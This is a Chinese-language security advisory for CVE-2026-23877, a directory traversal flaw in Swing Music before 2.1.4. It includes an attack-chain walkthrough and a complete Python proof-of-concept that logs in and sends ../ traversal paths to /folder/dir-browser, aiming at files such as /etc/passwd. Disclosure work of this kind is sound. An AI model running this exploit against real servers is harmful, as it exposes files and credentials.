IPBUF安全漏洞报告
English
CVE-2026-23877 CVSS 4.3 中危

CVE-2026-23877: Swing Music 目录遍历漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23877
漏洞类型
目录遍历
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Swing Music

相关标签

目录遍历Swing MusicCVE-2026-23877路径穿越信息泄露认证用户漏洞Web应用安全

漏洞概述

Swing Music是一款自托管音乐播放器,用于播放本地音频文件。该漏洞存在于2.1.4版本之前的`/folder/dir-browser`端点的`list_folders()`函数中,由于对用户输入的路径参数缺少充分的验证和过滤,攻击者可以利用目录遍历字符(如../)访问服务器文件系统上的任意目录和文件。攻击者只需拥有任意用户账户(包括低权限的非管理员账户)即可利用此漏洞,成功利用后可读取服务器上的敏感配置文件、凭据、其他应用数据等机密信息。虽然该漏洞不影响系统完整性和可用性,但机密性影响为低级别,CVSS评分为4.3,属于中等严重程度。

技术细节

漏洞位于Swing Music的目录浏览功能中。攻击者通过向`/folder/dir-browser`端点发送HTTP请求,在路径参数中注入目录遍历序列(如`../../etc/`或`..%2F..%2F`等编码形式)来绕过路径限制。`list_folders()`函数直接使用用户提供的路径访问文件系统,未进行安全路径验证或路径规范化处理。攻击者可以构造如下请求:GET /folder/dir-browser?path=../../../etc/ 来读取/etc目录下的文件内容。攻击者可以遍历整个服务器文件系统,访问系统配置文件(如/etc/passwd、/etc/shadow等)、应用配置文件、数据库文件、SSH密钥等敏感信息。攻击的成功条件是目标服务器运行存在漏洞版本的Swing Music且攻击者拥有一个有效的用户账户。

攻击链分析

STEP 1
步骤1
攻击者获取Swing Music的有效用户账户(任何权限级别均可,包括低权限非管理员账户)
STEP 2
步骤2
攻击者使用账户凭据登录应用,获取认证会话(通常通过POST请求到/auth/login端点)
STEP 3
步骤3
攻击者构造恶意请求到/folder/dir-browser端点,在path参数中注入目录遍历序列(如../../../etc/或URL编码的..%2F..%2F)
STEP 4
步骤4
服务器端list_folders()函数接收未经过滤的用户输入,直接使用该路径访问文件系统
STEP 5
步骤5
由于缺少路径规范化验证,攻击者成功绕过目录限制,访问服务器任意目录内容
STEP 6
步骤6
攻击者读取敏感文件(如/etc/passwd、配置文件、密钥文件等),造成机密信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-23877 PoC - Swing Music Directory Traversal # Target: Swing Music < 2.1.4 # Endpoint: /folder/dir-browser def exploit(target_url, username, password, target_path): """ Exploit directory traversal vulnerability in Swing Music Args: target_url: Base URL of the vulnerable application username: Valid username (any user including non-admin) password: User password target_path: Path to read (e.g., ../../../etc/) """ # Login to get authenticated session login_url = f"{target_url}/auth/login" session = requests.Session() login_data = { "username": username, "password": password } try: # Authenticate login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated as {username}") # Exploit directory traversal dir_browser_url = f"{target_url}/folder/dir-browser" params = { "path": target_path # e.g., ../../../etc/ } exploit_response = session.get(dir_browser_url, params=params, timeout=10) if exploit_response.status_code == 200: print(f"[+] Directory traversal successful!") print(f"[+] Response:") print(exploit_response.text) return True else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2026-23877.py <target_url> <username> <password> <target_path>") print("Example: python cve-2026-23877.py http://localhost:8271 admin password '../../../etc/'") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] target_path = sys.argv[4] exploit(target_url, username, password, target_path)

影响范围

Swing Music < 2.1.4

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web服务器(如Nginx)限制对/folder/dir-browser端点的访问,或在反向代理层添加路径过滤规则,阻止包含../序列的请求。同时确保运行Swing Music的系统账户不具有访问敏感目录的权限,以降低信息泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表